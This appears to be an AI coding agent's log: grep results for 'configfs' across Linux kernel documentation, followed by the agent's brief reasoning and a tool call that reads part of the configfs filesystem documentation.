Documentation/ABI/testing/configfs-spear-pcie-gadget-14-
Documentation/ABI/testing/configfs-spear-pcie-gadget:15:	  # mount -t configfs none /config/
Documentation/ABI/testing/configfs-spear-pcie-gadget-16-
--
Documentation/ABI/testing/configfs-thunderbolt_stream=34=Description:
Documentation/ABI/testing/configfs-thunderbolt_stream-35-		This matches the X in /dev/tbstreamX and allows userspace
Documentation/ABI/testing/configfs-thunderbolt_stream:36:		to map the configfs directory to the corresponding character
Documentation/ABI/testing/configfs-thunderbolt_stream-37-		device.
--
Documentation/ABI/testing/configfs-tsm-report=14=Description:
--
Documentation/ABI/testing/configfs-tsm-report-20-		This interface fails reads and sets errno to EFBIG when the
Documentation/ABI/testing/configfs-tsm-report:21:		report generated by @provider exceeds the configfs-tsm-report
Documentation/ABI/testing/configfs-tsm-report-22-		internal maximums. Contact the platform provider for the
--
Documentation/ABI/testing/configfs-usb-gadget-tcm=4=Description:
Documentation/ABI/testing/configfs-usb-gadget-tcm-5-		There are no attributes because all the configuration
Documentation/ABI/testing/configfs-usb-gadget-tcm:6:		is performed in the "target" subsystem of configfs.
--
Documentation/ABI/testing/configfs-usb-gadget-uvc=437=KernelVersion:	4.19
Documentation/ABI/testing/configfs-usb-gadget-uvc:438:Description:	UVC configfs function instance name
--
Documentation/PCI/endpoint/function/binding/pci-ntb.rst=4=PCI NTB Endpoint Function
--
Documentation/PCI/endpoint/function/binding/pci-ntb.rst-6-
Documentation/PCI/endpoint/function/binding/pci-ntb.rst:7:1) Create a subdirectory to pci_epf_ntb directory in configfs.
Documentation/PCI/endpoint/function/binding/pci-ntb.rst-8-
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=4=Configuring PCI Endpoint Using CONFIGFS
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-8-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:9:The PCI Endpoint Core exposes configfs entry (pci_ep) to configure the
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-10-PCI endpoint function and to bind the endpoint function
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=12=configure the PCI Endpoint Function refer to [1]).
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-13-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:14:Mounting configfs
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-15-=================
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-16-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:17:The PCI Endpoint Core layer creates pci_ep directory in the mounted configfs
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:18:directory. configfs can be mounted using the following command::
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-19-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:20:	mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-21-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=22=Directory Structure
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-24-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:25:The pci_ep configfs has two directories at its root: controllers and
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-26-functions. Every EPC device present in the system will have an entry in
--
Documentation/PCI/endpoint/pci-endpoint.rst=5=This document is a guide to use the PCI Endpoint Framework in order to create
Documentation/PCI/endpoint/pci-endpoint.rst:6:endpoint controller driver, endpoint function driver, and using configfs
Documentation/PCI/endpoint/pci-endpoint.rst-7-interface to bind the function driver to the controller driver.
--
Documentation/PCI/endpoint/pci-endpoint.rst=27=The PCI Endpoint Core layer comprises 3 components: the Endpoint Controller
Documentation/PCI/endpoint/pci-endpoint.rst:28:library, the Endpoint Function library, and the configfs layer to bind the
Documentation/PCI/endpoint/pci-endpoint.rst-29-endpoint function with the endpoint controller.
--
Documentation/PCI/endpoint/pci-endpoint.rst=219=by the PCI endpoint function driver.
--
Documentation/PCI/endpoint/pci-endpoint.rst-226-	   device and EPF device
Documentation/PCI/endpoint/pci-endpoint.rst:227:	 * add_cfs: optional ops to create function specific configfs
Documentation/PCI/endpoint/pci-endpoint.rst-228-	   attributes
--
Documentation/PCI/endpoint/pci-ntb-howto.rst=49=Creating pci-epf-ntb Device
--
Documentation/PCI/endpoint/pci-ntb-howto.rst-51-
Documentation/PCI/endpoint/pci-ntb-howto.rst:52:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-ntb-howto.rst-53-pci-epf-ntb device, the following commands can be used::
Documentation/PCI/endpoint/pci-ntb-howto.rst-54-
Documentation/PCI/endpoint/pci-ntb-howto.rst:55:	# mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-ntb-howto.rst-56-	# cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-ntb-howto.rst=81=Configuring pci-epf-ntb Device
--
Documentation/PCI/endpoint/pci-ntb-howto.rst-83-
Documentation/PCI/endpoint/pci-ntb-howto.rst:84:The user can configure the pci-epf-ntb device using its configfs entry. In order
Documentation/PCI/endpoint/pci-ntb-howto.rst-85-to change the vendorid and the deviceid, the following
--
Documentation/PCI/endpoint/pci-test-howto.rst=44=Creating pci-epf-test Device
--
Documentation/PCI/endpoint/pci-test-howto.rst-46-
Documentation/PCI/endpoint/pci-test-howto.rst:47:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-test-howto.rst-48-pci-epf-test device, the following commands can be used::
Documentation/PCI/endpoint/pci-test-howto.rst-49-
Documentation/PCI/endpoint/pci-test-howto.rst:50:	# mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-test-howto.rst-51-	# cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-test-howto.rst=75=Configuring pci-epf-test Device
--
Documentation/PCI/endpoint/pci-test-howto.rst-77-
Documentation/PCI/endpoint/pci-test-howto.rst:78:The user can configure the pci-epf-test device using configfs entry. In order
Documentation/PCI/endpoint/pci-test-howto.rst-79-to change the vendorid and the number of MSI interrupts used by the function
--
Documentation/PCI/endpoint/pci-test-howto.rst=103=Note: Some endpoint controllers might have fixed-size BARs or reserved BARs;
Documentation/PCI/endpoint/pci-test-howto.rst:104:for such controllers, the corresponding BAR size in configfs will be ignored.
Documentation/PCI/endpoint/pci-test-howto.rst-105-
--
Documentation/PCI/endpoint/pci-test-howto.rst=110=In order for the endpoint function device to be useful, it has to be bound to
Documentation/PCI/endpoint/pci-test-howto.rst:111:a PCI endpoint controller driver. Use the configfs to bind the function
Documentation/PCI/endpoint/pci-test-howto.rst-112-device to one of the controller driver present in the system::
--
Documentation/PCI/endpoint/pci-vntb-howto.rst=45=Creating pci-epf-vntb Device
--
Documentation/PCI/endpoint/pci-vntb-howto.rst-47-
Documentation/PCI/endpoint/pci-vntb-howto.rst:48:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-vntb-howto.rst-49-pci-epf-vntb device, the following commands can be used::
Documentation/PCI/endpoint/pci-vntb-howto.rst-50-
Documentation/PCI/endpoint/pci-vntb-howto.rst:51:	# mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-vntb-howto.rst-52-	# cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-vntb-howto.rst=77=Configuring pci-epf-vntb Device
--
Documentation/PCI/endpoint/pci-vntb-howto.rst-79-
Documentation/PCI/endpoint/pci-vntb-howto.rst:80:The user can configure the pci-epf-vntb device using its configfs entry. In order
Documentation/PCI/endpoint/pci-vntb-howto.rst-81-to change the vendorid and the deviceid, the following
--
Documentation/admin-guide/acpi/ssdt-overlays.rst=127=variable with the content from a given file::
--
Documentation/admin-guide/acpi/ssdt-overlays.rst-167-
Documentation/admin-guide/acpi/ssdt-overlays.rst:168:Loading ACPI SSDTs from configfs
Documentation/admin-guide/acpi/ssdt-overlays.rst-169-================================
Documentation/admin-guide/acpi/ssdt-overlays.rst-170-
Documentation/admin-guide/acpi/ssdt-overlays.rst:171:This option allows loading of user defined SSDTs from user space via the configfs
Documentation/admin-guide/acpi/ssdt-overlays.rst:172:interface. The CONFIG_ACPI_CONFIGFS option must be select and configfs must be
Documentation/admin-guide/acpi/ssdt-overlays.rst:173:mounted. In the following examples, we assume that configfs has been mounted in
Documentation/admin-guide/acpi/ssdt-overlays.rst-174-/sys/kernel/config.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst=72=Aggregating GPIOs using Configfs
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-76-
Documentation/admin-guide/gpio/gpio-aggregator.rst:77:    This is the root directory of the gpio-aggregator configfs tree.
Documentation/admin-guide/gpio/gpio-aggregator.rst-78-
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-82-    name to ``<example-name>`` (e.g. ``agg0``), except names starting with
Documentation/admin-guide/gpio/gpio-aggregator.rst:83:    ``_sysfs`` prefix, which are reserved for auto-generated configfs
Documentation/admin-guide/gpio/gpio-aggregator.rst-84-    entries corresponding to devices created via Sysfs.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst=144=case when you create it using sysfs ``new_device`` interface.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-147-
Documentation/admin-guide/gpio/gpio-aggregator.rst:148:   For aggregators created via Sysfs, the configfs entries are
Documentation/admin-guide/gpio/gpio-aggregator.rst-149-   auto-generated and appear as ``/config/gpio-aggregator/_sysfs.<N>/``. You
--
Documentation/admin-guide/gpio/gpio-sim.rst=3=Configfs GPIO Simulator
--
Documentation/admin-guide/gpio/gpio-sim.rst-5-
Documentation/admin-guide/gpio/gpio-sim.rst:6:The configfs GPIO Simulator (gpio-sim) provides a way to create simulated GPIO
Documentation/admin-guide/gpio/gpio-sim.rst-7-chips for testing purposes. The lines exposed by these chips can be accessed
--
Documentation/admin-guide/gpio/gpio-sim.rst=11=Creating simulated chips
--
Documentation/admin-guide/gpio/gpio-sim.rst-13-
Documentation/admin-guide/gpio/gpio-sim.rst:14:The gpio-sim module registers a configfs subsystem called ``'gpio-sim'``. For
Documentation/admin-guide/gpio/gpio-sim.rst:15:details of the configfs filesystem, please refer to the configfs documentation.
Documentation/admin-guide/gpio/gpio-sim.rst-16-
Documentation/admin-guide/gpio/gpio-sim.rst:17:The user can create a hierarchy of configfs groups and items as well as modify
Documentation/admin-guide/gpio/gpio-sim.rst-18-values of exposed attributes. Once the chip is instantiated, this hierarchy
Documentation/admin-guide/gpio/gpio-sim.rst=19=will be translated to appropriate device properties. The general structure is:
--
Documentation/admin-guide/gpio/gpio-sim.rst-22-
Documentation/admin-guide/gpio/gpio-sim.rst:23:This is the top directory of the gpio-sim configfs tree.
Documentation/admin-guide/gpio/gpio-sim.rst-24-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=7=that request GPIOs and then control their behavior over debugfs. Virtual
Documentation/admin-guide/gpio/gpio-virtuser.rst:8:consumer devices can be instantiated from device-tree or over configfs.
Documentation/admin-guide/gpio/gpio-virtuser.rst-9-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=14=Creating GPIO consumers
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-16-
Documentation/admin-guide/gpio/gpio-virtuser.rst:17:The gpio-consumer module registers a configfs subsystem called
Documentation/admin-guide/gpio/gpio-virtuser.rst:18:``'gpio-virtuser'``. For details of the configfs filesystem, please refer to
Documentation/admin-guide/gpio/gpio-virtuser.rst:19:the configfs documentation.
Documentation/admin-guide/gpio/gpio-virtuser.rst-20-
Documentation/admin-guide/gpio/gpio-virtuser.rst:21:The user can create a hierarchy of configfs groups and items as well as modify
Documentation/admin-guide/gpio/gpio-virtuser.rst-22-values of exposed attributes. Once the consumer is instantiated, this hierarchy
Documentation/admin-guide/gpio/gpio-virtuser.rst=23=will be translated to appropriate device properties. The general structure is:
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-26-
Documentation/admin-guide/gpio/gpio-virtuser.rst:27:This is the top directory of the gpio-consumer configfs tree.
Documentation/admin-guide/gpio/gpio-virtuser.rst-28-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=46=Creating GPIO lookup tables
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-48-
Documentation/admin-guide/gpio/gpio-virtuser.rst:49:Users can create a number of configfs groups under the device group:
Documentation/admin-guide/gpio/gpio-virtuser.rst-50-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=72=This is a group describing a single GPIO in the ``con_id-gpios`` property.
Documentation/admin-guide/gpio/gpio-virtuser.rst-73-
Documentation/admin-guide/gpio/gpio-virtuser.rst:74:For virtual consumers created using configfs we use machine lookup tables so
Documentation/admin-guide/gpio/gpio-virtuser.rst-75-this group can be considered as a mapping between the filesystem and the fields
--
Documentation/admin-guide/mm/shrinker_debugfs.rst=17=Usage:
--
Documentation/admin-guide/mm/shrinker_debugfs.rst-35-    sb-cgroup2-30       sb-proc-39       sb-tmpfs-27      xfs-buf:vda1-37
Documentation/admin-guide/mm/shrinker_debugfs.rst:36:    sb-configfs-23      sb-proc-41       sb-tmpfs-29      xfs-inodegc:vda1-38
Documentation/admin-guide/mm/shrinker_debugfs.rst-37-    sb-dax-11           sb-proc-45       sb-tmpfs-35
--
Documentation/driver-api/ioctl.rst=235=problem. Alternatives include:
--
Documentation/driver-api/ioctl.rst-249-
Documentation/driver-api/ioctl.rst:250:* configfs can be used for more complex configuration than sysfs
Documentation/driver-api/ioctl.rst-251-
--
Documentation/driver-api/usb/dwc3.rst=58=These features have all been exercised with many of the **in-tree**
Documentation/driver-api/usb/dwc3.rst:59:gadget drivers. We have verified both *ConfigFS* [#configfs]_ and
Documentation/driver-api/usb/dwc3.rst-60-legacy gadget drivers.
--
Documentation/driver-api/usb/dwc3.rst=684=Structures, Methods and Definitions
--
Documentation/driver-api/usb/dwc3.rst-706-.. [#debugfs] The Debug File System
Documentation/driver-api/usb/dwc3.rst:707:.. [#configfs] The Config File System
Documentation/driver-api/usb/dwc3.rst-708-.. [#cbw] Command Block Wrapper
--
Documentation/filesystems/9p.rst=64=where <device> is the tag associated by the usb gadget transport.
Documentation/filesystems/9p.rst:65:It is defined by the configfs instance name.
Documentation/filesystems/9p.rst-66-
--
Documentation/filesystems/configfs.rst=9=Copyright (c) 2005 Oracle Corporation,
--
Documentation/filesystems/configfs.rst-12-
Documentation/filesystems/configfs.rst:13:What is configfs?
Documentation/filesystems/configfs.rst-14-=================
Documentation/filesystems/configfs.rst-15-
Documentation/filesystems/configfs.rst:16:configfs is a ram-based filesystem that provides the converse of
Documentation/filesystems/configfs.rst-17-sysfs's functionality.  Where sysfs is a filesystem-based view of
Documentation/filesystems/configfs.rst:18:kernel objects, configfs is a filesystem-based manager of kernel
Documentation/filesystems/configfs.rst-19-objects, or config_items.
--
Documentation/filesystems/configfs.rst=27=representation, and sysfs is merely a window on all this.
Documentation/filesystems/configfs.rst-28-
Documentation/filesystems/configfs.rst:29:A configfs config_item is created via an explicit userspace operation:
Documentation/filesystems/configfs.rst-30-mkdir(2).  It is destroyed via rmdir(2).  The attributes appear at
--
Documentation/filesystems/configfs.rst=35=kernel modules backing the items must respond to this.
Documentation/filesystems/configfs.rst-36-
Documentation/filesystems/configfs.rst:37:Both sysfs and configfs can and should exist together on the same
Documentation/filesystems/configfs.rst-38-system.  One is not a replacement for the other.
Documentation/filesystems/configfs.rst-39-
Documentation/filesystems/configfs.rst:40:Using configfs
Documentation/filesystems/configfs.rst-41-==============
Documentation/filesystems/configfs.rst-42-
Documentation/filesystems/configfs.rst:43:configfs can be compiled as a module or into the kernel.  You can access
Documentation/filesystems/configfs.rst-44-it by doing::
Documentation/filesystems/configfs.rst-45-
Documentation/filesystems/configfs.rst:46:	mount -t configfs none /config
Documentation/filesystems/configfs.rst-47-
Documentation/filesystems/configfs.rst:48:The configfs tree will be empty unless client modules are also loaded.
Documentation/filesystems/configfs.rst:49:These are modules that register their item types with configfs as
Documentation/filesystems/configfs.rst-50-subsystems.  Once a client subsystem is loaded, it will appear as a
Documentation/filesystems/configfs.rst=51=subdirectory (or more than one) under /config.  Like sysfs, the
Documentation/filesystems/configfs.rst:52:configfs tree is always there, whether mounted on /config or not.
Documentation/filesystems/configfs.rst-53-
--
Documentation/filesystems/configfs.rst=57=values.  Don't mix more than one attribute in one attribute file.
Documentation/filesystems/configfs.rst-58-
Documentation/filesystems/configfs.rst:59:There are two types of configfs attributes:
Documentation/filesystems/configfs.rst-60-
--
Documentation/filesystems/configfs.rst-64-  Configfs expects write(2) to store the entire buffer at once.  When writing to
Documentation/filesystems/configfs.rst:65:  normal configfs attributes, userspace processes should first read the entire
Documentation/filesystems/configfs.rst-66-  file, modify the portions they wish to change, and then write the entire
--
Documentation/filesystems/configfs.rst=86=Imagine there's a Network Block Device (NBD) driver that allows you to
Documentation/filesystems/configfs.rst:87:access remote block devices.  Call it FakeNBD.  FakeNBD uses configfs
Documentation/filesystems/configfs.rst-88-for its configuration.  Obviously, there will be a nice program that
Documentation/filesystems/configfs.rst=89=sysadmins use to configure FakeNBD, but somehow that program has to tell
Documentation/filesystems/configfs.rst:90:the driver about it.  Here's where configfs comes in.
Documentation/filesystems/configfs.rst-91-
Documentation/filesystems/configfs.rst:92:When the FakeNBD driver is loaded, it registers itself with configfs.
Documentation/filesystems/configfs.rst-93-readdir(3) sees this just fine::
--
Documentation/filesystems/configfs.rst=116=shell no less.
Documentation/filesystems/configfs.rst-117-
Documentation/filesystems/configfs.rst:118:Coding With configfs
Documentation/filesystems/configfs.rst-119-====================
Documentation/filesystems/configfs.rst-120-
Documentation/filesystems/configfs.rst:121:Every object in configfs is a config_item.  A config_item reflects an
Documentation/filesystems/configfs.rst-122-object in the subsystem.  It has attributes that match values on that
Documentation/filesystems/configfs.rst:123:object.  configfs handles the filesystem representation of that object
Documentation/filesystems/configfs.rst-124-and its attributes, allowing the subsystem to ignore all but the
--
Documentation/filesystems/configfs.rst=128=collection of items that share the same attributes and operations.
Documentation/filesystems/configfs.rst:129:Items are created by mkdir(2) and removed by rmdir(2), but configfs
Documentation/filesystems/configfs.rst-130-handles that.  The group has a set of operations to perform these tasks
--
Documentation/filesystems/configfs.rst=132=A subsystem is the top level of a client module.  During initialization,
Documentation/filesystems/configfs.rst:133:the client module registers the subsystem with configfs, the subsystem
Documentation/filesystems/configfs.rst:134:appears as a directory at the top of the configfs filesystem.  A
Documentation/filesystems/configfs.rst-135-subsystem is also a config_group, and can do everything a config_group
--
Documentation/filesystems/configfs.rst=163=config_item portion of that structure is how the object interacts with
Documentation/filesystems/configfs.rst:164:configfs.
Documentation/filesystems/configfs.rst-165-
--
Documentation/filesystems/configfs.rst=173=config_item_put().
Documentation/filesystems/configfs.rst-174-
Documentation/filesystems/configfs.rst:175:By itself, a config_item cannot do much more than appear in configfs.
Documentation/filesystems/configfs.rst-176-Usually a subsystem wants the item to display and/or store attributes,
--
Documentation/filesystems/configfs.rst=179=struct config_item_type
--
Documentation/filesystems/configfs.rst-183-
Documentation/filesystems/configfs.rst:184:	struct configfs_item_operations {
Documentation/filesystems/configfs.rst-185-		void (*release)(struct config_item *);
--
Documentation/filesystems/configfs.rst-193-		struct module                           *ct_owner;
Documentation/filesystems/configfs.rst:194:		struct configfs_item_operations         *ct_item_ops;
Documentation/filesystems/configfs.rst:195:		struct configfs_group_operations        *ct_group_ops;
Documentation/filesystems/configfs.rst:196:		struct configfs_attribute               **ct_attrs;
Documentation/filesystems/configfs.rst:197:		struct configfs_bin_attribute		**ct_bin_attrs;
Documentation/filesystems/configfs.rst-198-	};
--
Documentation/filesystems/configfs.rst=204=reaches zero.
Documentation/filesystems/configfs.rst-205-
Documentation/filesystems/configfs.rst:206:struct configfs_attribute
Documentation/filesystems/configfs.rst-207-=========================
--
Documentation/filesystems/configfs.rst-210-
Documentation/filesystems/configfs.rst:211:	struct configfs_attribute {
Documentation/filesystems/configfs.rst-212-		char                    *ca_name;
--
Documentation/filesystems/configfs.rst=219=When a config_item wants an attribute to appear as a file in the item's
Documentation/filesystems/configfs.rst:220:configfs directory, it must define a configfs_attribute describing it.
Documentation/filesystems/configfs.rst-221-It then adds the attribute to the NULL-terminated array
Documentation/filesystems/configfs.rst:222:config_item_type->ct_attrs.  When the item appears in configfs, the
Documentation/filesystems/configfs.rst:223:attribute file will appear with the configfs_attribute->ca_name
Documentation/filesystems/configfs.rst:224:filename.  configfs_attribute->ca_mode specifies the file permissions.
Documentation/filesystems/configfs.rst-225-
--
Documentation/filesystems/configfs.rst=229=called whenever userspace asks for a write(2) on the attribute.
Documentation/filesystems/configfs.rst-230-
Documentation/filesystems/configfs.rst:231:struct configfs_bin_attribute
Documentation/filesystems/configfs.rst-232-=============================
--
Documentation/filesystems/configfs.rst-235-
Documentation/filesystems/configfs.rst:236:	struct configfs_bin_attribute {
Documentation/filesystems/configfs.rst:237:		struct configfs_attribute	cb_attr;
Documentation/filesystems/configfs.rst-238-		void				*cb_private;
--
Documentation/filesystems/configfs.rst=242=The binary attribute is used when the one needs to use binary blob to
Documentation/filesystems/configfs.rst:243:appear as the contents of a file in the item's configfs directory.
Documentation/filesystems/configfs.rst-244-To do so add the binary attribute to the NULL-terminated array
Documentation/filesystems/configfs.rst:245:config_item_type->ct_bin_attrs, and the item appears in configfs, the
Documentation/filesystems/configfs.rst:246:attribute file will appear with the configfs_bin_attribute->cb_attr.ca_name
Documentation/filesystems/configfs.rst:247:filename.  configfs_bin_attribute->cb_attr.ca_mode specifies the file
Documentation/filesystems/configfs.rst-248-permissions.
--
Documentation/filesystems/configfs.rst=265=child item::
--
Documentation/filesystems/configfs.rst-269-		struct list_head		cg_children;
Documentation/filesystems/configfs.rst:270:		struct configfs_subsystem 	*cg_subsys;
Documentation/filesystems/configfs.rst-271-		struct list_head		default_groups;
--
Documentation/filesystems/configfs.rst=285=config_item_type::
Documentation/filesystems/configfs.rst-286-
Documentation/filesystems/configfs.rst:287:	struct configfs_group_operations {
Documentation/filesystems/configfs.rst-288-		struct config_item *(*make_item)(struct config_group *group,
--
Documentation/filesystems/configfs.rst=301=config_item (or more likely, its container structure), initializes it,
Documentation/filesystems/configfs.rst:302:and returns it to configfs.  Configfs will then populate the filesystem
Documentation/filesystems/configfs.rst-303-tree to reflect the new item.
--
Documentation/filesystems/configfs.rst=313=upon item allocation.  If a subsystem has no work to do, it may omit
Documentation/filesystems/configfs.rst:314:the ct_group_ops->drop_item() method, and configfs will call
Documentation/filesystems/configfs.rst-315-config_item_put() on the item on behalf of the subsystem.
--
Documentation/filesystems/configfs.rst=317=Important:
Documentation/filesystems/configfs.rst-318-   drop_item() is void, and as such cannot fail.  When rmdir(2)
Documentation/filesystems/configfs.rst:319:   is called, configfs WILL remove the item from the filesystem tree
Documentation/filesystems/configfs.rst-320-   (assuming that it has no children to keep it busy).  The subsystem is
--
Documentation/filesystems/configfs.rst-323-   for the item to actually disappear from the subsystem's usage.  But it
Documentation/filesystems/configfs.rst:324:   is gone from configfs.
Documentation/filesystems/configfs.rst-325-
--
Documentation/filesystems/configfs.rst=330=ct_group_ops->disconnect_notify() method.  The method is called after
Documentation/filesystems/configfs.rst:331:configfs has removed the item from the filesystem view but before the
Documentation/filesystems/configfs.rst-332-item is removed from its parent group.  Like drop_item(),
--
Documentation/filesystems/configfs.rst=336=A config_group cannot be removed while it still has child items.  This
Documentation/filesystems/configfs.rst:337:is implemented in the configfs rmdir(2) code.  ->drop_item() will not be
Documentation/filesystems/configfs.rst-338-called, as the item has not been dropped.  rmdir(2) will fail, as the
Documentation/filesystems/configfs.rst=339=directory is not empty.
Documentation/filesystems/configfs.rst-340-
Documentation/filesystems/configfs.rst:341:struct configfs_subsystem
Documentation/filesystems/configfs.rst-342-=========================
--
Documentation/filesystems/configfs.rst=344=A subsystem must register itself, usually at module_init time.  This
Documentation/filesystems/configfs.rst:345:tells configfs to make the subsystem appear in the file tree::
Documentation/filesystems/configfs.rst-346-
Documentation/filesystems/configfs.rst:347:	struct configfs_subsystem {
Documentation/filesystems/configfs.rst-348-		struct config_group	su_group;
--
Documentation/filesystems/configfs.rst-351-
Documentation/filesystems/configfs.rst:352:	int configfs_register_subsystem(struct configfs_subsystem *subsys);
Documentation/filesystems/configfs.rst:353:	void configfs_unregister_subsystem(struct configfs_subsystem *subsys);
Documentation/filesystems/configfs.rst-354-
--
Documentation/filesystems/configfs.rst=357=this group is usually defined statically.  Before calling
Documentation/filesystems/configfs.rst:358:configfs_register_subsystem(), the subsystem must have initialized the
Documentation/filesystems/configfs.rst-359-group via the usual group _init() functions, and it must also have
--
Documentation/filesystems/configfs.rst=362=When the register call returns, the subsystem is live, and it
Documentation/filesystems/configfs.rst:363:will be visible via configfs.  At that point, mkdir(2) can be called and
Documentation/filesystems/configfs.rst-364-the subsystem must be ready for it.
--
Documentation/filesystems/configfs.rst=370=subsystem/group and the simple_child item in
Documentation/filesystems/configfs.rst:371:samples/configfs/configfs_sample.c. It shows a trivial object displaying
Documentation/filesystems/configfs.rst-372-and storing an attribute, and a simple group creating and destroying
--
Documentation/filesystems/configfs.rst=375=Hierarchy Navigation and the Subsystem Mutex
--
Documentation/filesystems/configfs.rst-377-
Documentation/filesystems/configfs.rst:378:There is an extra bonus that configfs provides.  The config_groups and
Documentation/filesystems/configfs.rst-379-config_items are arranged in a hierarchy due to the fact that they
--
Documentation/filesystems/configfs.rst=385=A subsystem can navigate the cg_children list and the ci_parent pointer
Documentation/filesystems/configfs.rst:386:to see the tree created by the subsystem.  This can race with configfs'
Documentation/filesystems/configfs.rst:387:management of the hierarchy, so configfs uses the subsystem mutex to
Documentation/filesystems/configfs.rst-388-protect modifications.  Whenever a subsystem wants to navigate the
--
Documentation/filesystems/configfs.rst=395=yet been unlinked.  This means that an item's ci_parent pointer will
Documentation/filesystems/configfs.rst:396:never be NULL while the item is in configfs, and that an item will only
Documentation/filesystems/configfs.rst-397-be in its parent's cg_children list for the same duration.  This allows
--
Documentation/filesystems/configfs.rst=401=Item Aggregation Via symlink(2)
--
Documentation/filesystems/configfs.rst-403-
Documentation/filesystems/configfs.rst:404:configfs provides a simple group via the group->item parent/child
Documentation/filesystems/configfs.rst-405-relationship.  Often, however, a larger environment requires aggregation
--
Documentation/filesystems/configfs.rst=411=symlink(2) may be called with the config_item as the source of the link.
Documentation/filesystems/configfs.rst:412:These links are only allowed between configfs config_items.  Any
Documentation/filesystems/configfs.rst:413:symlink(2) attempt outside the configfs filesystem will be denied.
Documentation/filesystems/configfs.rst-414-
--
Documentation/filesystems/configfs.rst=427=can it be removed while an item links to it.  Dangling symlinks are not
Documentation/filesystems/configfs.rst:428:allowed in configfs.
Documentation/filesystems/configfs.rst-429-
--
Documentation/filesystems/configfs.rst=437=Rather than have a group where some items behave differently than
Documentation/filesystems/configfs.rst:438:others, configfs provides a method whereby one or many subgroups are
Documentation/filesystems/configfs.rst-439-automatically created inside the parent at its creation.  Thus,
--
Documentation/filesystems/configfs.rst=447=other child groups can be created on the parent group directly.
Documentation/filesystems/configfs.rst-448-
Documentation/filesystems/configfs.rst:449:A configfs subsystem specifies default groups by adding them using the
Documentation/filesystems/configfs.rst:450:configfs_add_default_group() function to the parent config_group
Documentation/filesystems/configfs.rst:451:structure.  Each added group is populated in the configfs tree at the same
Documentation/filesystems/configfs.rst-452-time as the parent group.  Similarly, they are removed at the same time
--
Documentation/filesystems/configfs.rst=461=Dependent Subsystems
--
Documentation/filesystems/configfs.rst-463-
Documentation/filesystems/configfs.rst:464:Sometimes other drivers depend on particular configfs items.  For
Documentation/filesystems/configfs.rst-465-example, ocfs2 mounts depend on a heartbeat region item.  If that
--
Documentation/filesystems/configfs.rst=467=readonly.  Not happy.
Documentation/filesystems/configfs.rst-468-
Documentation/filesystems/configfs.rst:469:configfs provides two additional API calls: configfs_depend_item() and
Documentation/filesystems/configfs.rst:470:configfs_undepend_item().  A client driver can call
Documentation/filesystems/configfs.rst:471:configfs_depend_item() on an existing item to tell configfs that it is
Documentation/filesystems/configfs.rst:472:depended on.  configfs will then return -EBUSY from rmdir(2) for that
Documentation/filesystems/configfs.rst-473-item.  When the item is no longer depended on, the client driver calls
Documentation/filesystems/configfs.rst:474:configfs_undepend_item() on it.
Documentation/filesystems/configfs.rst-475-
Documentation/filesystems/configfs.rst:476:These API cannot be called underneath any configfs callbacks, as
Documentation/filesystems/configfs.rst-477-they will conflict.  They can block and allocate.  A client driver
--
Documentation/filesystems/configfs.rst=483=heartbeat code.  Inside the heartbeat code, the region item is looked
Documentation/filesystems/configfs.rst:484:up.  Here, the heartbeat code calls configfs_depend_item().  If it
Documentation/filesystems/configfs.rst-485-succeeds, then heartbeat knows the region is safe to give to ocfs2.
--
Documentation/filesystems/index.rst=66=Documentation for filesystem implementations.
--
Documentation/filesystems/index.rst-81-   coda

]

120/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 19931
							output: 36
							thoughts: 30
						

Thoughts:
**My Thought Process Regarding `configfs` Attributes**

Alright, so my immediate impulse is to dive into the `configfs.rst` documentation, specifically focusing on lines 50 through 85. I need to understand precisely how `configfs` handles attributes. My goal here is to get a clear, foundational grasp of the mechanisms involved in defining, exposing, and potentially interacting with these attributes within the `configfs` framework. I'm not just looking for a superficial overview; I need to understand the underlying principles and the practical implications for system developers. This section is crucial because attributes are, after all, the primary interface through which userspace interacts with objects managed by `configfs`. I'll be paying close attention to any explicit mentions of attribute types, how they're registered, and any associated callback functions that govern their behavior. This will inform my understanding of how to effectively leverage `configfs` for device configuration or other similar purposes.


121/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:Documentation/filesystems/configfs.rst FirstLine:50 LineCount:40]

Results:
map[Contents:  50:	subsystems.  Once a client subsystem is loaded, it will appear as a
  51:	subdirectory (or more than one) under /config.  Like sysfs, the
  52:	configfs tree is always there, whether mounted on /config or not.
